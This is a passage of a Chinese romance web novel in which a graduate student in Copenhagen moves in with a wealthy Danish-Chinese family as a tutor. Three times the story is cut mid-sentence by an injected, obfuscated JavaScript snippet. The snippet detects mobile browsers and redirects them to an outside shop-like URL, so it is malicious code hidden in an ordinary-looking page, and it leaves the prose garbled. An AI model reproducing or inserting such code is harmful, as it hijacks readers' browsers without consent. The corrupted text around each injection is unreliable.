房间朝东,盛夏的晨光透过浅色窗帘落在床上,她却感觉如坠冰窟。 她甚至还盖着被子。 麻木的手指机械地敲下消息:【妈,你买什么了?】 国内是下午两点,没多久妈妈就发来语音,她不敢听,长按转换成文字:【你起床了?我在逛街呢,好多人啊。】 所以买了什么啊?龙秉月继续敲着消息,刚敲下两个字,对面一个视频电话过来,她想都没想就挂断了。 打字尚可保持冷静,视频没准就怒发冲冠了。尤其是对面还可能有她爸,她才不要接。 几分钟后,妈妈发来一条更长的语音。她度秒如年,等待的时候心情像是冲到操场跑了个八百米。 她依然选择转换成文字:【哎,就是,宛宛过来玩,刚我们吃完饭路过苹果店,她想进去看,就看上手表了嘛。来,宛宛,说谢谢姐姐。——谢谢姐姐!】 宛宛是她的表妹,家住邻省,下学期升初三。这几天大概是中招考试学校放假,才有空过去玩。 不合时宜的心酸泛了上来。算了,人总是对外彰显大度,对内却往往苛求。不止妈妈,她此刻不也是一样吗?珍贵的重要的钱被花掉,她首先想要保证的居然是,绝对不能让爸爸知道她过得落魄,让他加强“钱决定一切,要用钱控制女儿”的糟粕认知。 “好哦,那你们好好玩。”她打下这些字,又删掉,最终只发出一个“好”的表情包。 抛开睡觉时间,她的心情在短短几小时内坐了一趟过山车。而且最后没有安心落地,整个人像是从空中坠下,摔得好惨,爬不起来。 这还没完,更惨的是—— 妈妈又发来新的消息,悄声说:【别怪妈妈用这个,妈妈是想试试看你有没有钱,没有了可以偷偷给你转点不是。看样子你过得不错,不愧是我的女儿。】 【要是有需要钱的地方一定告诉妈妈啊,我背着爸爸接济你。】 老天奶,老天妈,她都自立自强这么久了,偏偏在这个节骨眼“试试看”。 龙秉月也不怪谁,就是觉得自己真够倒霉的,转了一圈又回到拮据的原点。 妈妈,室友……亲近的人愿意帮她,可她跨不过自己心里的坎儿。 反而是陌生人的善意比较容易接受。 但她偏偏已经拒绝了。 拒绝时的不好意思现在加倍回到她身上,紧张下她选择了最拙劣的借口,在短信里打下:早上好,我昨晚因为你提出的offer太高兴了,结果喝多了乱说胡话,可以删了重开吗? 不是不明白真诚是必杀技,真诚讲述来龙去脉或许会得到同情,只是这样轻松的玩笑语气似乎更符合两人先前的氛围。她也不想被同情,更不想让人以为她接受工作是迫于无奈。 毕竟,她是能够从这样的工作中得到快乐和成就感的。最初拒绝也是因为打工时间问题。 在她犹豫的时候,大概是看到她这边正在输入,安宴反倒先发来:【醒了?】,紧接着前一晚的【睡着了?】 既然他在关注着,那反悔应该是有戏的吧…… 龙秉月想了想,先把没发送出去的消息删掉,也学昨晚的安宴回道:【在等我?】 按下发送后,她双手合十,祈祷对方千万别继续学她回复省略号,不然她就不知道怎么让这天起死回生了。 没想到他很直白:【是啊,我妈妈的老师突然消失不回了,我能不等吗?】 龙秉月顺着他的话:【你妈妈的老师?】 安宴:【可以视频聊吗?打字麻烦。】 怎么回事,平时一个星期也不见得有人找她视频聊天,今天状态不好,却刚醒没多久就有两个人要跟她视频? 视频是不可能视频的,哪怕她现在有求于他—— 【可我现在状态不好不想露脸。】 安宴:【没关系,你挡着摄像头或者对着天花板。】 龙秉月内心吐槽“那跟打语音电话有什么差别”,表面乖巧回复:【好。】 她把手机平放在床头柜上,前置镜头朝上对着天花板,自己坐在床上,刻意保持着一定距离。小小的屏幕上,即便因为角度问题画面中的人脸略有变形,依然十分赏心悦目。这是美男计吗? 在摄像头照不到的地方,她悄悄对上了那双橄榄绿色的眼睛,莫名地感到安心。 一直到挂断视频,她还是不敢相信,offer就这么水灵灵地回来了。 安宴说,是他考虑不周,不该让她工作过度,哪怕签证允许,人也不能每周工作那么久。 安宴说,她不用辞去学校职位,也不用单独为伊莎贝拉备课,如果她愿意住在他家,见到伊莎贝拉的时候用中文随便聊聊天,当个口语陪练就OK,其他的可以等她暑期兼职结束了再商议。 安宴还说,他家别墅很大,不会抬头不见低头见需要她一直当语伴,也不用担心隐私问题。 总之,难以置信。 这等好事,简直就像去餐馆打工结果遇到超豪气的客人,一挥手就是几万小费,得来全不费工夫。 只是做了自己的本职工作,并没有额外付出什么,就得到了和付出完全不成正比的回报。梦都不敢做这么大的。 如果不是JensAndersen确实是网络上搜索得到的一号人物,她可能要阴谋论,怀疑自己住进去会被噶腰子。 然而此刻她只觉得,她被温柔地接住了。 本以为从过山车上坠下会摔很惨,不料中途飘来一朵云,接住了她不说,还托着她飞得更高。 太阳的确更接近了,她感到身体的温度回暖。 - 下午是和昨天相同的中级班。 再次站到中文学校的讲台上,龙秉月还是觉得很恍惚。 伊莎贝拉照常和她打招呼,没看出来和平时有什么不一样,不知道她有没有从安宴那里得知自己多了个“家教”。 但她自己知道,身份已经不同了,上课也不自觉更卖力起来。 或许也是因为,经济压力减小了,人就会更舒展吧。 傍晚课程结束,伊莎贝拉又留到了最后。 龙秉月以为她有话要说,静静等着,没想到她说的是:“宝贝,你今天晚上是不是没有课?要不要和我一起吃饭?” “可以呀,不过怎么突然想一起吃饭呢?” “周五了嘛,我们都辛苦了一周,是时候好好放松了!” “就我们两个人吗?”龙秉月问,潜台词其实是要不要叫其他老师学生。 伊莎贝拉却理解错了:“哦不,你真是太聪明了,怎么猜到我被儿子鸽了的……” 人和人的脑回路互不相通,这并不是坏事,反而给她提供了意想不到的信息。 “他不是每天都来接你吗,今天不在?”龙秉月语气中带着一点自己都没察觉到的失落。 “对呢,说晚上要去派对就把我抛下了。男人没一个好东西,哪怕是自己生的。”伊莎贝拉抱怨道,“但我们订都订了,取消也不退款。所以最最最好的龙老师,可以赏脸吗?” “当然,我的荣幸。” 龙秉月以为要去常见的路边露天小酒馆,像梵高《夜间的露天咖啡座》里画 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634402|143709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的那样,典型的欧洲氛围,虽然哥本哈根的晚上天也还亮着。 想象力还是不够大胆—— 伊莎贝拉带她来到一家finedining,一看就很贵,一看就得提前好多天预订,一看人均价格就超过了她的银行卡余额。 看出了她的犹豫,伊莎贝拉爽快道:“不用不好意思,爽约的人都没有不好意思呢。你是在替他收拾烂摊子,他还得感谢你让他有机会请客,不至于浪费钱和食物。” “而且,是他主动要我叫你的,说要谢谢你。”落座后,伊莎贝拉又补充。 餐厅有固定的夏季套餐,除了酒水外都已经搭配好,无需点菜。 服务员过来问她们喝气泡水还是纯净水,龙秉月秒答:“自来水(tapwater)就好。” 内心庆幸她有点经验,知道这问题是个坑,气泡水纯净水都要收高价,只有自来水免费。但不管是出于礼仪还是出于利益,服务员肯定都不会加上这个选项,只等你自己说。 丹麦的自来水是达到直饮标准的,大家平时都直接喝,需要热水才会烧水。 伊莎贝拉则翻看着酒单,点了一瓶干白葡萄酒,来搭配她们的海鲜主菜:“水?别开玩笑,周五晚上当然要配酒!” 好吧,这很欧洲人,绝对不可以百分百清醒地跨过周五周六之间的零点。 龙秉月还念着伊莎贝拉刚才的话,等服务员暂时离开才问:“他谢我什么?” “他昨晚下课不是去请教你中国服饰的问题吗。” 请教什么? 安宴你别太离谱,就算不说实话也不至于编谎话吧! 可惜她还没来得及详细问,服务员就带着餐前面包回来了,之后也没离开多远。 高档餐厅就是这点不好,服务太周到,服务员一直在附近,搞得她无法完全自在地聊天,开口前总要顾虑第三者的目光。 和中国朋友一起时还可以切换到母语获得加密,现在就困难了,伊莎贝拉的中文水平大概只够聊一聊饭菜好不好吃;就连她自己的中文水平,可能也得说“这个”“那个”,叫不出来食材对应的名字。 这个红色的小叶子是什么菜,那个绿色的酱汁又是什么…… 最后只好说些无伤大雅的闲话,并在心里默默决定:她还是等饭后直接去问安宴吧。 他可千万别是后悔了,又要收回家教需求。就像她也反悔过一次一样,用他的反悔来惩罚她的反悔。 她已经承受不起一波三折再三折。上帝你玩心大发没关系,能不能换个人玩。 难得吃顿好的,却从头到尾心不在焉,默默许愿不要是“断头饭”。 这次联系没有等到回家,龙秉月刚和伊莎贝拉道别,走出彼此的视线范围后,就在路边原地停下,迫不及待地发短信问安宴:【你还没有告诉伊莎贝拉家教的事吗?】 市中心老城区多餐馆和酒吧,在夏天和周五的双重buff下,每家的室外区域都坐满了人,举杯畅饮,好不欢快。高声播放的土嗨流行乐也掩盖不住他们兴奋的声音。 她孤单地站在这样的氛围中,等待一个回音,和这些浑身写满松弛感的外国人倒有一点相同:都想求个痛快。 痛快生,或者痛快死。 为了不显得格格不入,她开始往运河的方向走。 如果最后的结果是“死”,她希望至少可以在景色优美的地方收到这样的消息。 在她下坠时接住了她的人,终究没舍得让她死。 安宴回她:【还没有,我怕她知道后太激动,给你带来压力。】 【给你留着反悔的空间。】 运河两岸是童话一般的彩色房子,龙秉月陪很多朋友来过,还买了冰箱贴贴在家里:深红、灰蓝和明黄色的三座小楼紧挨在一起,田字窗户显示出五六层的层高,窗口摆着郁郁葱葱的绿植,底层室外还有露天餐饮位,就和现在这里一模一样。 她对这个热门景区早就审美疲劳了,却在这时又重新发现了它的美。也想上到河中游船的甲板,和还没入夜就喝高了的老外们一起放声歌唱,让歌声和游船一起荡出粼粼波光。 5. 第五章 两天后的下午,港口某冰淇淋店。 龙秉月站在门口对着地图再三确认,才相信自己没走错。 安宴怎么会约在这种地方? 这家店隐藏在巷子深处,没有门牌,只有一个画着冰淇淋的灯牌。若不仔细留意,定然不会发现它。 百来米外,就是码头上人气最高的冰淇淋店,游人如织,无时无刻不在排队。 这里却格外冷清,店员也一副毫不在乎的样子,在她进门后只是掀起眼皮瞧了她一眼,连句“你好,欢迎光临”或“请问需要点什么”都没有,就低头继续看自己的手机,把摸鱼本领发挥到极致。 “你好,我想要一杯雪顶咖啡,谢谢。”龙秉月主动开口,在看过墙上的菜单之后。 “50克朗。”店员惜字如金,面上毫无波澜,并不意外一个首次光顾的亚洲面孔,来冰淇淋店却不点冰淇淋。 龙秉月在仅有的两张桌子中选了一张坐下,打量着店内的空间设计。 地方虽小,社恐味儿却很足,吧台和两张桌子呈等边三角形,在有限的空间内让彼此之间达到了尽量远的距离。 头顶是常见的球形吊灯,散发出香草冰淇淋颜色的光。 她提前了半小时到,一是因为乘坐公共交通加上对目的地不熟悉,要留出足够多的容错的时间;二则在她的潜意识里,先到的人更容易掌握主动权。 要坐很久,点冰淇淋的话,半小时内就算不吃完也会融化掉,到时候她一个人干看着安宴吃,蛮尴尬的;再点吧,又不想花第二份钱。饮品是最优的选择。 龙秉月很快就会知道自己多虑了。 想提前来的,显然不止她一人。 店员做好咖啡,她起身去吧台拿回座位,正搅动着雪顶,门就又被推开了。 她和店员齐齐抬头望过去——来人正是安宴。 他的打扮比上次还要显眼包。 今天天气多云,有点阴沉,而他仿佛要凭借一己之力驱散这阴沉似的。 苹果绿色短袖,桃红色长裤,极富水果感的多巴胺穿搭,多彩得像运河两岸的房子,走在打破“北欧人衣柜里都是黑白灰”刻板印象的第一线。 而她呢。 龙秉月低头看自己一身灰蓝,想着,相比之下她就像阴天的河面。 也不一定是阴天时候的,河水本身就是暗色的,只有在大晴天才倒映出天空的湛蓝。 安宴一定是常客,惜字如金的店员竟然主动问他:“还是老样子?” 他答:“对,巧克力双球,要蛋筒。” 在点单之前,他已经朝她挥手打了招呼;等店员打冰淇淋的时候,他又说“马上来喔,稍等一下”,很周到,很体贴,很会照顾等待者的情绪,虽然其实不需要照顾。 龙秉月看着他的巧克力双球,心思跑到了百米外的网红冰淇淋店。 一年前初到哥本哈根,她和认识不久的新同学们来这边游览,打卡了那家店。大家各自选择了自己喜欢的口味,边走边吃。 有个男生掏出手机打开一篇推文,说要做“冰淇淋性格测试”,指着她的抹茶球一本正经地宣布:“龙秉月喜欢抹茶口味,说明她是个遵循本心、不盲从,并且感情专一的人。” 紧接着,他又挨个念了其他人选择的口味的意义,最后自吹自擂:“开心果口味,说明我是个喜欢给人带来快乐的人!你们说,是不是特别准?” 她当时对此一笑而过,什么嘛,那爱吃火锅有什么内涵,代表人热情?爱吃辣锅的人喜欢追求刺激? 但不得不承认,他确实活跃了气氛,带来了快乐。 那么巧克力味呢,那个男生当时是怎么说的来着……喜欢巧克力冰淇淋的人,往往是浪漫多情的享乐主义者。 巴纳姆效应认为,人们倾向于相信模糊而普遍的描述准确揭示了自己的个性,尤其是正面描述。 任何口味的描述安在她自己身上,她其实都可以认同,至少部分认同。 然而这一刻,回想起巧克力冰淇淋承载的意义,不爱巧克力的龙秉月只有一个想法: 这个解释安在安宴身上,比安在她身上要合适一万倍。 安宴见她盯着自己的冰淇淋微微发愣,玩笑似的好心问道:“你也想吃吗?” “不不不,”龙秉月连忙否认,脑子转得很快,“我是在想,等你吃完再签合同吧,免得滴上去了。” 于是两人有一搭没一搭地闲聊着。 明知每个城市都会有无数只有本地人找得到的小店,龙秉月还是没忍住好奇心:“你怎么找到这种地方的?” “这是我妹妹喜欢的店,她的人生理想就是当冰淇淋店店员。” “Wow,你有妹妹啊。” “嗯,该上高中了,就等着毕业进冰淇淋店呢。” 安宴的语气略带戏谑,但龙秉月相信这不是玩笑话。 在这个最低时薪110克朗的高福利国家,多的是没有远大志向的人,只向往着平淡的幸福生活。 对她来说,这比童话还童话。 “真好啊,年纪轻轻就有这么明确的目标,不像……”她真心实意地羡慕上了,又难免和中学的自己做比较,意识到差点脱口而出什么,赶紧把话题拉回去,“那,她想开自己的店吗?” 安宴摇摇头,凑近了她,在她耳边低声说:“她不想当老板只想打工,喏,就像那位店员一样。每天卖不完的冰淇淋还可以自己吃。” “可是夏天很短耶。” 夏天很短,人们便抓住机会尽情享受,享受阳光,也享受冰凉的美味。 等到冬天,这里变作冰雪王国…… “你可能没有注意过,我们冬天会一边烤火一边吃冰淇淋,室内室外都有。”安宴听出来她的潜台词,细心解答,“今年冬天可以再来这里试试,很不同的感觉,销魂的冰火两重天,你会喜欢的。” 龙秉月是中国南方人,但好歹在北方上了四年大学,也经历过丹麦的冬天,对两地的暖气深有体会,也烤过货真价实的炉火。 但不管室内多么温暖,哪怕只需要穿短袖,她也未曾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634403|143709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在冬天产生过吃冰的欲望。 身体大概是最懂的。 就像每天凌晨睡中午起的作息就算再规律,也仍然远不比早睡早起。 而她习惯于顺应自然,健康生活。 龙秉月心里想着“哦不,我不会喜欢的”,嘴上则说:“这里的夏天还是太凉快了,在我老家,夏天吃冰淇淋就可以冰火两重天。” 安宴垂眸看着快吃完的冰淇淋,咬下最后一大口,似乎在用心感受。 她不知道,他此刻就已经是冰火两重天了。 等他终于吃完,龙秉月掏出准备好的合同给他看,包括租房合同和雇佣合同。 合同是她自己拟定的,找了在欧洲学法律的朋友帮忙把关,保障自己的权益。 月租金1克朗的房租,周工时1小时的工作,都是为了给自己一个安心。总归是住到才认识不久的人家里。 给安宴看电子版的时候,她还担心他嫌自己事儿精,没想到他异常爽快,毫无异议。 哪怕电子合同同样具有效力,他也愿意甚至主动提出签纸质的,给她能拿在手里的安心。 至于工作报酬—— 不是金钱,而是劳动换劳动。 龙秉月把合同递给安宴:“签之前再最后确认下吧。” 安宴一目十行地快速翻过,仿佛根本没有在看,只是走个流程,但最后却能提出问题:“确定只住两个月?” 龙秉月点头,表情诚恳:“九月开学后我想住到学校附近,上课方便。” 其实也是因为“蹭住”不好意思太久,到时候手头就宽松了。 安宴自然接着她的话问:“你在哪里上学?” “哥大,南校区。” 他思索了一下,脑中地图显示,那离他家好像不到两公里啊。又不能彰显出希望她住久点,越久越好的心思,只说:“好的,你确定就好。只要你到时候不嫌过来做家教麻烦。” 能有这两个月,已经远远超出他的预期了。 死皮赖脸地牵线一份对两边人可能都多余的活儿,龙秉月和伊莎贝拉竟然都乐意,他不能更知足了。现在还不到再贪心的时候。 事情进行得非常顺利,店员小哥全程没看他们一眼,活像个游戏NPC。最后他们离开时,他也只像她进门时那样,掀起眼皮淡淡瞧一眼,然后毫无感情地说了句“Bye”。 并肩走出小巷子,龙秉月远远看到一辆玫瑰金色的跑车停在车位,在阴天也散发着光芒。车是她不感兴趣的领域,基本只辨美丑,这辆无疑美得张扬。 旁边的人没说什么,她却莫名笃定那就是安宴的车,符合他留给自己的印象。 果然,安宴朝着那辆车扬了扬下巴:“我开车来的,你要去哪,我可以送你一程。” 龙秉月说不用,她就打算在这里逛街。话止于此,无论是真话还是婉拒,都没有追问的必要。 其实是真话。 搬家前最后一个休息日,既然来了市中心,就趁机去精品店挑一挑入住礼物,尽到礼数也表达心意。 6. 第六章 哥本哈根市中心有一条知名的步行购物街Str?get,本地华人称之为“走街”——独特而响亮的名号,让它一下子从千万条名为“步行街”的步行街中脱颖而出。 街道中心,歇息的游客们倚着喷泉池,为弹唱的街头歌手打节拍,要把头顶的阴云驱散,让阳光倾洒下来。 在这般其乐融融的景象下,龙秉月后知后觉地感到有些孤单。 于是发微信问喻琳,需不需要帮她带什么东西。倒不是暗示对方一起来,仅仅因为把她人的期望背在身上,其实也可以取暖。 过了一会儿喻琳回:【你一个人在逛吗?我去找你吧!】 【得买点土特产纪念品把我行李箱填满。】 和龙秉月不一样,喻琳暑假是要回国的,还肩负着给亲朋好友带礼物的重任。 这两天她的行李箱就摊在客厅,每天不断重复着放进去n件物品、再拿出来n-1件物品的选择恐惧行为。 不打算带走的行李,则打包成箱暂存到本地人同学家里,开学再去取,搬到到时候找好的新家。 今天两人汇合后,她依然在咆哮:“我要疯了!收不完,根本收不完。想把用不到的东西都带回国,又感觉每个东西下学期都还会用。” 她摇着龙秉月的胳膊,又羡慕地说:“我要是能像你一样极简生活就好了。” 所言不虚。 龙秉月知道自己毕业后肯定会回国,这一年里几乎都没有添置什么东西。 唯一添置的自行车还被偷了。 和刚来时一样,她所有东西都能轻松装在两个28寸行李箱内,随时都能在半天里收拾好跑路。 龙秉月笑了笑:“我还不是托你的福,蹭你的用。” “所以我们互补型才是最适合同居的啊。”喻琳顺势提议道,“下学期还是我们两个一起住吧?不要找更多人了。” 学生公寓数量有限,僧多粥少,每学年都要重新抢下一年的名额。 龙秉月不战而败,主动认输——租金押一付六,她一次性哪拿得出来。 喻琳则是到点点进抢房链接,已经被系统排到了几千号。轮到她的时候,没什么合适的可选了。 后来两人就和其他几个铩羽而归的留学生拉了个小群,计划着一起租个大house住,搭建时兴的青年空间。 就是众口难调,房太难找了,一两月下来也没个结果。 龙秉月自然是不指望那个低效的合租群了,不假思索地答应喻琳。也给自己两月后搬出来留好充足的理由。 同样低效的,还有两人的购物。闲逛一圈又回到喷泉池,依然两手空空。 喷泉池边上的东西突然吸引了龙秉月的目光,她拍拍喻琳的肩膀,兴奋道:“我有一个大胆的想法,你看!” 喻琳顺着她指的方向看了过去,不明所以:“什么,喷泉吗?” “不是,就那个,你以前夸过可爱的,你忘了吗?” “……你千万别告诉我你指的是垃圾桶。”喻琳看了又看,只发现这一个特别的东西。 市中心的垃圾桶和她们公寓楼下的垃圾桶外貌不一样,纯黑底色,桶身每个面的中心是荧光黄色矩形,镂空出大大的心形,十分美观,构成一道城市风景线。 心形本身就是这个国家喜爱的形状,国徽上,钱币上,比比皆是。 圣诞节也有一个悠久的传统:用纸折成红白色棋盘图案的心形装饰物,挂在圣诞树上。据说,目前保存的最古老的圣诞之心(julehjerte)是作家安徒生在1860年制作的,收藏在他老家欧登塞市的博物馆中。 “不觉得很棒吗?丹麦特产之心形图案垃圾桶套娃收纳盒,再也不用担心带的特产不够有特色。而且收纳盒是刚需,多实用啊。就是不知道丹麦人有没有这个经商头脑。” 龙秉月说着,就开始在网上搜索——很遗憾,没有。 “算了,指望丹麦还不如指望义乌。不然你买点巧克力和曲奇吧,顺便帮我选选。” “你不是不爱吃这些甜腻的零嘴吗?”喻琳好奇。 “噢,我不吃,买来给新房东当见面礼。” “房租就是最好的见面礼啊!别太客气了,两个月后你和房东就是此生再也不会见的陌生人了。” 整个“家教”的事情有些复杂,龙秉月暂时没有告诉任何人,只说自己找到了暑假短租的地方,房东是哥本哈根本地人。此刻便也只能打哈哈过去。 最终,在一家巧克力专卖店里,喻琳试吃后帮龙秉月选了一盒保质期三个月的——更精致美味的手工巧克力保质期只有一周,只得遗憾落选。 而她自己怕巧克力融化又怕曲奇碎掉,最后买了几套颇有丹麦设计风格的美丽餐具,刀叉勺三件套。 “他们有礼物收就知足吧。”在走街的一家餐厅里,喻琳一边拿叉子卷起意面,一边说,“逛街主要目的才不是认真挑礼物,只是想和你多待一会儿。只剩五天了诶,你还都要去上班,时间嗖的一下就过去了。” 龙秉月有个不为人知的奇怪爱好,看别人卷意面。自己也爱卷,但总是沉迷于卷面而顾不上吃,导致意面放凉,变得不好吃,所以出门在外从不点直面。 当下,她的注意力又被对面的意面吸引住了,听到“上班”两个字,感觉它们的十三个笔画都在眼前动了起来,拆散又摇摆着重组,组成一盘意面。 喻琳却把她的发呆当作伤感,渐渐安静下来。两人可以无话不谈,也可以舒适地共享沉默。 - 6月30日,星期五,公寓租期的最后一天中午。 喻琳拉着行李箱,龙秉月帮她背着包,送她到地铁站。等她坐上开往机场方向的车后,自己再乘坐相反方向的车去上班。 候车的时候心中升起一股不舍。 毕竟是住了将近一年的地方,站台的长椅、楼下的便利店、回家的路口,都和她有了感情,难以割舍。 出门前把公寓房间收拾成入住前的模样时,也产生了同样的感觉。 一切恢复如初,没留下一点她们曾经存在的痕迹。 ——当然最好没有,有的话,公寓还要扣她们的押金。想到这一点,心酸更甚。 渺小的她在大地上不断搬迁,没有归宿,连来处都断掉了。 十八年,四年,一年,两个月,能够停留的时间愈来愈短,人生朝着破碎化的方向一去不复返。 上车,到站,下车。如此这般的动作也愈来愈熟练。 和上班下班上课下课一样,写进身体的习惯,再被新的习惯覆盖掉,人变成无数习惯堆积而成的物质。 龙秉月当初只花了一天,就习惯了课后在门口和学生们道别。傍晚二三十句“拜拜”后,才准备迎来今天真正的道别。 抬头,伊莎贝拉却一副欲言又止的样子,于是她先开口:“怎么了吗?” “真的很抱歉,宝贝,我姐妹今天临时找我有重要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634404|143709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事,晚上要缺席你的欢迎晚宴了。这绝对没有一点不欢迎你的意思,事实上,我是全家最欢迎你的人,你知道的。”伊莎贝拉说。 前一晚本来跟伊莎贝拉和安宴说好,今天中文学校下课后,先一起去龙秉月的学生公寓帮她搬行李,再到家里吃晚餐。 现在又只有两个人了。 很正常嘛,谁还不会遇到个急事。 但事情一而再再而三发生,龙秉月内心不禁暗暗自嘲:怎么,你们母子是不能同时跟我共处吗? 当然是玩笑,她自我感觉倒也没那么良好,不会有莫须有的被害妄想症。 只是拜托了,让更多事情按照计划发展吧。 - 或许是为了照顾她,安宴换了辆低调的黑车,停在公寓附近的停车场,泯然众车。 龙秉月见他跟着自己下车,对他说:“我自己去拿就好,不麻烦你跑一趟。我行李很少的,只有两个箱子。” “你也知道,是两个。”安宴把重音加在了“两”这个词上,锁上车,没给她拒绝的余地。 他跟着她来到公寓,在她做最后检查并拍照拍视频存证时,好奇地看了一圈这个她住过一年的屋子。 简单的北欧风装修,空到只剩最基本的家具,但也不难想象出生活的模样。 印象不再只停留在手机前置镜头所拍下的天花板。 “好了,我们走吧。”龙秉月最后看了一眼曾经的居所,深呼吸后决绝扭头,双手各推着一个箱子往门外走。 安宴很自然地接过,同时从她手里毫不费力地抽走两个箱子。 她也懒得争了,反正门口就是电梯,没几步路。 锁上公寓门,钥匙揣兜,还是熟悉的触感——并非有家可归的安全感,而是担心丢钥匙的危机感。这种危机感与生俱来,大概只有把钥匙挂在鼻环上才能让它消失吧。或者眼镜腿也是不错的选择。 可惜她不敢在鼻子上打洞,视力也没有问题。 绝佳的视力和丰富的想象力一齐落在安宴身上,对了,当成项链戴着也可以。 她看着电梯镜面映出的人,试着把他胸前的挂坠想象成一把钥匙,那奇妙的违和感让她偷偷扬起嘴角,又假装咳嗽来掩饰。 不舍旧屋的情绪一扫而空。 龙秉月知道地址,安宴开车的时候,她在地图app里默默看着路线。 五公里,两公里,一公里…… 越来越接近城市的中心地带,却好像进入植物园。各色植物茁壮生长,溪水潺潺流过,此起彼伏的鸟叫声唤起她的回忆。 记得有一次,她和喻琳骑车从学校回家,看到地图上这里一条绿色,特意绕远路过来。路上人影稀疏,两人一前一后踩着单车,讨论着什么人才能在城市中坐拥如此绿意。 现在答案彻底明朗了。 而安宴家又和周遭的其它房屋不同。这里大多数独栋都是传统的尖顶屋,像豪华放大版的乡间小屋,但依然保留着童话感和古老韵味。 他们家却是极具现代感的别墅,外观设计简洁又不失大气,在绿树掩映下显出一种遗世独立的美感。 车开到别墅门口时,斜对面邻居恰好开车出来。交错的两辆车都停下来,摇下车窗,践行基本的邻里礼仪。 邻居看到副驾的陌生亚洲面孔,难免好奇:“晚上好,来贵客了?” “是,”安宴笑着回,“中国的远房表妹来丹麦读研究生,暑假借住在我们家。” 7. 第七章 邻居和安宴交谈是说的丹麦语,龙秉月在学校上了两学期的丹麦语通选课,能听个大概,“中国”“表妹”之类的。 听听这多离谱啊,你一个丹麦人哪来的中国表妹,地球村也不是这么用的吧! 等邻居离开,她一秒都不等地求证道:“你们刚才是不是聊到我了?他好像看了我几眼。” “他问你是谁,我说是中国过来的远房表妹。”安宴表现得相当云淡风轻,仿佛自己说的是“现在是晚上七点”这般平常的话。 “……你说我是新来的园丁都比这像回事吧。” 车停稳在院子里,熄了火。 龙秉月解开安全带,准备下车。“咔哒”一声,车门却被锁上。 光天化日之下的…… “你在干嘛?”她蹙着眉,不解地看向安宴。 “你还是一点都不好奇啊……” 安宴的手又搭回了方向盘上,手指无意识地轻轻敲着,没有看她,像是自言自语,也像是对着视线前方的树说话。 但龙秉月知道他在说自己。 一星期前她回短信睡着后,他是怎么说的来着? 【你不好奇我为什么愉快吗?】后来还发了可怜兮兮的表情。 第二天醒来后横生变故,确实再没找到机会去好奇这么个小事,再回过头问反而显得奇怪。 她以为这叫适可而止的边界感,对方真想说自然会主动说的。 原来他需要她表达出兴趣,有来有往地对话。 和安宴相处的技巧+1。 龙秉月正欲开口询问,安宴反倒先主动解答了:“我爸爸是丹麦的二代中国移民,所以不是毫无道理的胡诌。之前说对外宣称你是伊莎贝拉的干女儿,但想了想这个好像更合理。你说是不是,妹妹?” “呃……”信息量看起来没多少但其实还真有点大,一下把她给干无语了。 所以安宴有一半的中国血统?还是四分之一?从外貌上的确看不太出来,不过现在知道了答案去反推,再观察他的五官,就会觉得比一般北欧人要柔和一些。 这么看来,他会说中文、有中文名字,并不是因为有个喜欢中国文化的老妈,而是因为他爸爸。 倏忽之间,因为血统,她感到他更亲近了一些。 很奇妙,明明是与生俱来的,但还是要亲手开启开关才可以。 龙秉月的大脑恢复转动,逻辑思维回归,准确抓住重点:“下次再有类似的事拜托你提前和我商量一下,或者至少给我打个招呼,得亏我听不懂,万一我惊慌失措露馅了呢?” 安宴没有立即答应,略微思索了下才说:“好的,妹妹。” ……没人了,别演了! 龙秉月无语地别过头,敲了敲车门,示意安宴赶快开门下车。肚子也很配合地“咕”叫了一声。 - 从后备箱里拿出行李箱,安宴在前面带路,没有走正门,而是绕到了后院。 别墅一楼正对着后院的是超大客厅,整面落地玻璃,十分通透。 透过玻璃,龙秉月看到一个高高瘦瘦的女孩站在客厅中间。女孩也看到他们,露出一脸纠结的表情,然后跑进更里侧的走廊,消失在视线之外。 留龙秉月站在室外凌乱——这是不想见到她吗? 安宴却“噗嗤”笑出声:“别多想,我妹妹只是社恐,去叫爸爸了。哦对,她叫Janne,安扬。” 龙秉月恰当地流露出好奇:“你们都有中文名啊,安是Andersen的安吗?” “不是,”安宴摇了摇头,“我爸爸和爷爷真的姓安,中国姓氏的安。不过爷爷奶奶给爸爸起了纯正的丹麦名字,Mikkel(米克尔),为了更方便融入本地社会。出于同样的理由,我和妹妹都是随母姓。” “Andersen里也有个‘安’,是巧合也是缘分。” “在院子里站着做什么,快进来呀!”雄厚的男声突然插入,他拉开一扇落地玻璃,招呼着龙秉月和安宴。 正是米克尔。 和伊莎贝拉一样,米克尔也很显年轻,这便是亚洲男性的优势了。相比之下,白男的容貌就不太抗老了。 那混血呢?哪边的基因会更强大一些? 